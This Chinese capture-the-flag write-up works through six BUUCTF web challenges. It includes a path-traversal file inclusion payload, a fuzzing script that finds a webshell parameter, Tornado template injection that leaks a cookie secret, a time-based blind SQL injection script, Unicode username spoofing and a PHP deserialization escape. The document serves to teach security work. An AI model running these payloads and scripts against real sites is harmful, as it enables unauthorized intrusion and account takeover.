目录

  • WEB1—WarmUp (任意文件包含漏洞)
  • WEB2—高明的黑客(fuzz脚本)
  • WEB3—easy_tornado (服务端模板注入(ssti攻击))
  • WEB4—Hack World(时间盲注)
  • WEB5—admin(unicode欺骗)
  • WEB6—piapiapia (一个源码中有防止sql注入的反序列化漏洞)

BUU上的题基本都是比赛真题,还是很有借鉴意义的,安利一波https://buuoj.cn/。
例如在上次华东南赛区的比赛,就遇到了BUU上的WarmUp,所以这次整理一些BUU上的web题,没准下次还能遇到(๑•̀ㅂ•́)و✧,遇不到原题说不定会有一样的题型。

WEB1—WarmUp (任意文件包含漏洞)

第一步看源码

可以发现提示有source.php

<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}
?> 

观察源码逻辑,首先可以发现白名单是只有source.php和hint.php,通过访问hint.php我们可以知道flag在ffffllllaaaagggg文件中


但很明显我们无法直接访问,所以当然是继续分析逻辑
因为我们最后是想要读取ffffllllaaaagggg文件,所以很明显是要让代码执行到include $_REQUEST[‘file’];,传入file为ffffllllaaaagggg

mb_substr($page,0,mb_strpos($page.’?’,’?’))表示截取page中?之前的内容
所以判断既为true,就能通过判断条件

! empty($_REQUEST['file']) &&is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file'])

所以就能执行包含文件
payload:
http://web5.buuoj.cn/?file=source.php?../../../../../ffffllllaaaagggg
这边ffffllllaaaagggg文件前面的路径加…/是因为他和index.php不在同一个目录下,所以读取的是上级目录。

WEB2—高明的黑客(fuzz脚本)


这题给了www.tar.gz下载下来是3000多个php文件,每个php文件中都有很多post和get的参数,只有一个php中的一个参数是可以getshell的。给出一个多线程python爆破脚本,主要功能是读取我们下载下来的php文件,然后寻找所有GET和POST参数,发送给服务器,判断是否执行了我们传入的东西,来判断是不是一个可以getshell的点。

import requests
import re
import os
from time import sleep
flies = os.listdir('../src')from multiprocessing.dummy import Pool as ThreadPooldef breakMe(sss):    # 输入范围 key = sss.split(':')start = int(key[0])   # 开始位置end = int(key[1])    # 结束位置for i in flies[start:end]:url = 'http://web15.buuoj.cn/'+if = open('../src/'+i)data = f.read()f.close()reg = re.compile(r'(?<=_GET\[\').*(?=\'\])')params = reg.findall(data)for j in params:    payload = url + '?' + j + '=echo 123456123456123456123456'req=requests.get(payload)if '123456123456123456123456' in str(req.content):print (payload)exit()list=[]  # 参数列表
for i in range(30):   # 多线程的数字列表 开始与结尾list.append(str(100*i) + ':' + str(100*(i+1)))
pool = ThreadPool()    # 多线程任务
pool.map(breakMe, list) # 函数 与参数列表
pool.close()
pool.join()

WEB3—easy_tornado (服务端模板注入(ssti攻击))


可以发现给了我们三个链接


flag是在/fllllllllllllag中的,但是访问这个文件是还有要一个filehash的参数,其值是md5(cookie_secret+md5(filename))规则加密的,主要我们需要知道的是cookie_secret的值

在我们直接访问http://web9.buuoj.cn/file?filename=/fllllllllllllag时发现页面跳转到了

提示有签名错误,发现/error?msg=Error,考虑服务端模板注入(ssti攻击)
尝试输入/error?msg={{1}},确实是存在模板注入
尝试输入/error?msg={{77}},不存在运算
之后进行各种尝试与资料获取发现对于tornado框架存在附属文件handler.settings,于是尝试输入/error?msg={{handler.settings}}

得到cookie_secret:M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84
r
再根据hint的加密规则算出filehash,便可以访问fllllllllllllag,得到flag

WEB4—Hack World(时间盲注)


延迟注入,是一种盲注的手法, 提交对执行时间铭感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如:正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的高级盲注.SQLMAP、穿山甲、胡萝卜等主流注入工具可能检测不出,只能手工检测,利用脚本程序跑出结果。

给出了table和column名,给的这么详细大概是时间盲注的概率会高一些吧。同时发现过滤了空格,给出时间盲注脚本

import requests
import time
url = "http://web43.buuoj.cn/index.php"
flag = ''
table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}"
#FLAG{5YK358DL6ME5EXXWO4MO2HJS5W0HADZ9}
while True:for i in table:ss = time.time()data = {'id':'''ELT(left((select    flag    from    flag),{})='{}{}',SLEEP(1))'''.format(len(flag)+1,flag, i)}data['id'] = data['id'].replace(" ","\t")requests.post(url,data=data)if time.time()-ss>=0.5:flag += iprint (flag)break

WEB5—admin(unicode欺骗)

这题首先是登录注册


通过题目大概可以知道,需要我们以admin的身份登陆,然后我这边先注册admin发现已经存在,所以先随便注册一个登陆了上去,然后去找一些可以利用的地方。

在更换密码的地方找到了一个git,得到题目源码

这边重点的是

def strlower(username):username = nodeprep.prepare(username)return username

这边对如下字幕ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ
nodeprep.prepare会进行如下操作
ᴀ -> A -> a
所以经过这三步得到flag
注册用户ᴬdmin
登录用户ᴬdmin,变成Admin
修改密码Admin,更改了admin的密码

推荐博客https://www.anquanke.com/post/id/164086这题给出了三种解法
法1:伪造session
法2:unicode欺骗
法3:条件竞争

这边我也复现一下伪造session

使用的是这个github上的工具https://github.com/noraj/flask-session-cookie-manager
但没有复现成功,我对比了一下真实admin的session值和我伪造的session,应该整体上是没问题的,但是可能是由于这个工具和真实服务器构建session在最后一部分规则有差异还是怎么样,总之是没能复现成功,如果有找到更好用的工具的大佬可以指导我一下

WEB6—piapiapia (一个源码中有防止sql注入的反序列化漏洞)

buuctf上没有给出源码,看了那个0ctf的wp才会做
大概思路就是通过审计

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);

发现一些sql关键字会被替换成hacker造成的一个漏洞

举个例子就是
s:10:“where1234"”; => s:10:“hacker1234"”
在反序列化的时候,因为s是10,所以会读10个字节,当where被替换成hacker后,就会逃逸掉一个引号。这样就可以构造我们想要逃逸内容个where实现控制反序列化后的内容

参考博客http://yqxiaojunjie.com/index.php/archives/171/

BUUCTF的Web真题学习整理(一)相关推荐

  1. ctfhub技能书+历年真题学习笔记(详解)

    Web Web前置技能 HTTP协议 请求方式 题目:HTTP Method is GET Use CTF**B Method, I will give you flag. Hint: If you ...

  2. 2019考研英语二真题词汇整理

    2010真题 swine flu 猪流感 epidemic 传染病,流行病 heightened 提高的,增加的 alert 警惕,警戒 assemble 召集,召开(会议) severity 严重程 ...

  3. 高数 | 【数一专项】真题回顾整理及知识点总结

    本文摘录于周洋鑫2023考研数学真题刷题班串讲~ 均为自用笔记整理. ヾ(◍°∇°◍)ノ゙ 加油! 对密度的积分 一.空间几何 1.1.旋转面方程 ☆ 常见二次曲面

  4. 华为OD真题学习-查找单入口空闲区域 100

    回溯法:基本做法是搜索,通过x+1.x-1横向遍历,y+1.y-1纵向遍历,获取满足连通的坐标 原始参考链接:[华为OD机试真题 python]查找单入口空闲区域[2022 Q4 | 100分]_无痕 ...

  5. 系统架构师案例分析(真题知识点整理、记忆)

    目录 1. 软件架构风格与设计 1.1 MVC架构风格 1.2 系统负载均衡 1.3 企业服务总线(ESB) 1.4 软件架构风格 1.5 Web Service 1.6 C/S架构中的瘦客户端和胖客 ...

  6. 蓝桥web真题:第一届大学组8-10题

    文章目录 前言,此为结尾篇了,觉得不错请帮我点赞.收藏.关注 第8题:购物车 第9题:寻找狼人 第10题:课程列表 end 前言,此为结尾篇了,觉得不错请帮我点赞.收藏.关注 此篇干货满满 第8题:购 ...

  7. 历届试题 合根植物 C语言,植物营养历年真题(整理).doc

    1994年 名词解释:根际,土壤养分的生物有效性,短距离运输,有益元素, 当代植物营养科学有哪些研究方向,并简要说明其内内涵和进展 何谓生理缺素症?简述植物生理缺钙,缺铁,缺锌的症状衙内在机理 比较在 ...

  8. 阿里品牌数据品牌银行分析师认证真题资料库整理答案

    FAST指标中的F指标含义是什么? A.品牌当前有效的认知(15天)/兴趣(15天)/购买(2年半)/忠诚(1年)的消费者总数 B.高价值人群活跃度-会员活跃率 C.所有授权店铺的主动注册绑卡且满足商 ...

  9. 考研数据结构历年真题(选择题)整理

    文章目录: 一:补充知识点 二:巩固知识点 第一章 绪论 第二章 线性表

最新文章

  1. Spring官宣网传大漏洞,附解决方案!网传方案有隐患,建议加固!
  2. 【干货】不同场景下 如何进行MySQL迁移
  3. Python【7】-数据分析准备
  4. oracle11g 查看磁盘,oracle11g 磁盘
  5. Git 教程学习--第三篇
  6. Linux学习总结(69)——Linux 生成随机数的6种方法
  7. Android 视频播放器 (二):使用MediaPlayer播放视频
  8. Exchange server 2010系列教程之四 如何卸载exchange server 2010
  9. 软件测试 | 手把手教你快速掌握 Monkey 工具,指令参数+APK集合测试
  10. 超详细!在我的世界(MC)中使用cocricot模组搭建一个咖啡厅
  11. 小米路由器r1d刷第三方_好物推荐 篇三:服役多年的小米路由器R1D准备让他退休, 小米路由R3D开始上岗...
  12. python连接access2007_使用Python / pyodbc插入Access DB
  13. 软件测试:功能测试(1)----测试范围和测试策略
  14. 使用51单片机驱动航模无刷电机
  15. BIGEMAP如何将高程数据转成南方CASS的DAT格式
  16. 乐吾乐2D可视化智慧光伏能源赋能方案
  17. Autosar学习笔记——(三)诊断服务
  18. 【类不类三】来自星星的哥顿人与正则表达式
  19. 数据结构与算法分析Java语言描述 原书超清第3版 下载
  20. java 调用matlab函数_java中调用Matlab的函数+注意事项

热门文章

  1. 八十九、Python的GUI系列 | 使用PyQt5 快速构建一个GUI 应用
  2. ​GPLinker:基于GlobalPointer的实体关系联合抽取
  3. 推荐几个出论文的好方向
  4. 直播 | 清华大学李一鸣:后门攻击简介
  5. 岗位推荐 | 腾讯AI Lab多媒体算法组招聘正式员工和实习生
  6. 机器阅读理解 / 知识库 / 深度学习 / 对话系统 / 神经机器翻译 | 本周值得读
  7. 创客更新装备 动态规划
  8. 【学习笔记】《数据挖掘:理论与算法》CH3 从贝叶斯到决策树
  9. python链表删除尾部节点_python单链表中如何查找和删除节点?
  10. protobuf windows java_protobuf windows java 环境搭建